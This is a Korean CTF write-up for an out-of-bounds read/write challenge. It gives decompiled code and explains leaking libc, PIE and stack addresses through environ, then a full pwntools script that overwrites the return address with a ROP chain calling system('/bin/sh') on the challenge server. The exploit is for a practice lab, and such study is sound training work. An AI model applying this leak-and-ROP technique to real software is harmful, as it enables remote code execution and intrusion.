모든 보호 기법이 다 걸려있다.
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-14h] BYREF
__int64 v5[2]; // [rsp+10h] [rbp-10h] BYREF
v5[1] = __readfsqword(0x28u);
initialize(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v4);
if ( v4 != 1 )
break;
printf("offset: ");
__isoc99_scanf("%lld", v5);
printf("%c\n", (unsigned int)oob[v5[0]]);
}
if ( v4 != 2 )
break;
printf("offset: ");
__isoc99_scanf("%lld", v5);
printf("value: ");
getchar();
__isoc99_scanf("%lld", &oob[v5[0]]);
}
if ( v4 == 3 )
break;
puts("invalid choice");
}
return 0;
}
1번 메뉴인 read에서는 오프셋을 입력받고, 그 오프셋을 oob 변수의 인덱스로 삼아 출력해준다.
2번 메뉴인 write에서는 오프셋과 값을 입력받고, 그 오프셋을 oob 변수의 인덱스로 삼아 그 위치에 입력받은 값을 쓴다.
3번 메뉴는 프로그램을 종료한다.
1번 메뉴와 2번 메뉴에서 OOB가 발생한다는 것을 알 수 있다. -> AAW, AAR이 가능하다.
하지만 AAW, AAR을 제대로 사용하기 위해서는 ASLR과 PIE를 우회할 필요가 있다.
먼저 libc base를 구해보도록 하자.
oob변수 근처의 메모리를 조사해보면 다음과 같다.
read 메뉴에서 16~21 오프셋으로 stdout의 값을 읽을 수 있다. 이 값과 주어진 도커 파일로 도커 환경을 구축하여 가져온 libc로 베이스 주소를 계산할 수 있다.
반드시 도커 환경을 구축해서 libc를 가져와야한다..! 로되리안을 겪게 된다...
이제 pie 베이스를 구해보도록 하자.
아까 전과 같이 oob 변수의 주변 메모리를 살펴보면...
자기 자신의 주소를 값으로 가지는 부분이 있다는 것을 찾을 수 있다.
read 메뉴에서 -1 ~ -8 인덱스를 주면 이 값을 읽어올 수 있다.
그리고 이 릭한 값에 8을 더하면 oob 변수의 주소이기 때문에 바이너리의 oob 변수 심볼을 가져와서 pie base를 계산할 수 있다.
이렇게 코드 베이스와 libc base를 다 구했다. 그럼 이제 어떻게 익스플로잇을 해야할까?
한참을 헤메다가 environ을 사용하면 풀 수 있다는 답변을 받을 수 있었다.
environ을 통해 스택의 주소를 릭할 수 있다.
하지만 우리는 environ의 주소 그 자체를 읽은 것이기 때문에 oob 변수와 environ 변수의 거리를 계산하여 OOB를 통해 한 번 더 읽어줘야 한다. 이 오프셋이 꽤나 큰데, 입력에서 lld로 입력을 받기 때문에 충분히 가능하다.
그리고 이제 여기서 어떻게 익스플로잇 할 것인지 갈리는데, 나는 반환 주소를 조작하여 ROP를 통해 쉘을 얻었다. 또 다른 방법으로는 문제 바이너리 자체는 Full Relro지만, libc는 partial relro기 때문에 Got overwrite가 가능하다. 그래서 libc의 got를 조작해보려 했지만 잘 안되서 그냥 ROP를 사용했다.. 2번째 방법이 궁금하다면 libc got hijacking을 구글에 검색하면 자세한 자료가 뜬다.
내가 익스플로잇한 방법에 대해 계속 설명하자면,
먼저 이렇게 릭한 스택의 주소와, main의 반환주소의 거리를 구한다.
같은 섹션에서의 오프셋은 항상 같기 때문에 이렇게 계산해서 사용해도 된다.
이 오프셋을 우리가 릭한 스택의 주소에서 빼주면 ret의 위치를 계산할 수 있다.
oob 변수와 ret의 거리를 계산하여 write 메뉴를 통해 ret을 조작할 수 있다.
이 문제는 오버 플로우로 하는 ROP가 아니라서 8바이트씩 ret 뒤에 추가로 써주었다.
주소에 값을 쓸 때도 lld로 입력을 받아서 쓴다. 그렇기 때문에 값을 나누어 쓸 필요가 없다.
ROP에 필요한 가젯들은 전부 libc에서 찾았다.
from pwn import *
p = remote("host1.dreamhack.games", 18400)
libc = ELF("./libc.so.6")
e = ELF("./oob")
#libc base leak
stdout = b""
for i in range(21,15,-1):
p.sendlineafter(b"> ",b'1')
p.sendlineafter(b"offset: ",str(i).encode())
stdout += p.recvn(1)
stdout = "0x" + bytes.hex(stdout)
libc_base = int(stdout,16) - libc.symbols['_IO_2_1_stdout_']
environ_ptr = libc_base + libc.symbols['environ']
print(f"libc base : {hex(libc_base)}")
print(f"environ_ptr : {hex(environ_ptr)}")
#pie base leak
pie_leak = b""
for i in range(-1,-9,-1):
p.sendlineafter(b"> ",b'1')
p.sendlineafter(b"offset: ",str(i).encode())
pie_leak += p.recvn(1)
pie_leak = "0x" + bytes.hex(pie_leak)
pie_base = (int(pie_leak,16) + 8) - e.symbols['oob']
oob = pie_base + e.symbols['oob']
print(f"pie base : {hex(pie_base)}")
#stack leak
environ2oob = environ_ptr - oob
stack_leak = b""
for i in range(environ2oob,environ2oob+8):
p.sendlineafter(b"> ",b'1')
p.sendlineafter(b"offset: ",str(i).encode())
stack_leak += p.recvn(1)
stack_leak = u64(stack_leak)
print(f"stack leak : {hex(stack_leak)}")
#return address overwrite
ret = stack_leak - 288
oob2ret = ret - oob
print(f"oob <-> ret : {oob2ret}")
pop_rdi = 0x000000000002a3e5 + libc_base
system = libc_base + libc.symbols['system']
binsh = 0x1d8698 + libc_base
ret = 0x00000000000bab79 + libc_base
p.sendlineafter(b"> ",b'2')
p.sendlineafter(b"offset: ",str(oob2ret).encode())
p.sendlineafter(b"value: ",str(pop_rdi).encode())
p.sendlineafter(b"> ",b'2')
p.sendlineafter(b"offset: ",str(oob2ret+8).encode())
p.sendlineafter(b"value: ",str(binsh).encode())
p.sendlineafter(b"> ",b'2')
p.sendlineafter(b"offset: ",str(oob2ret+16).encode())
p.sendlineafter(b"value: ",str(ret).encode())
p.sendlineafter(b"> ",b'2')
p.sendlineafter(b"offset: ",str(oob2ret+24).encode())
p.sendlineafter(b"value: ",str(system).encode())
p.interactive()
지금 보니 코드를 좀 더럽게 작성한 것 같다..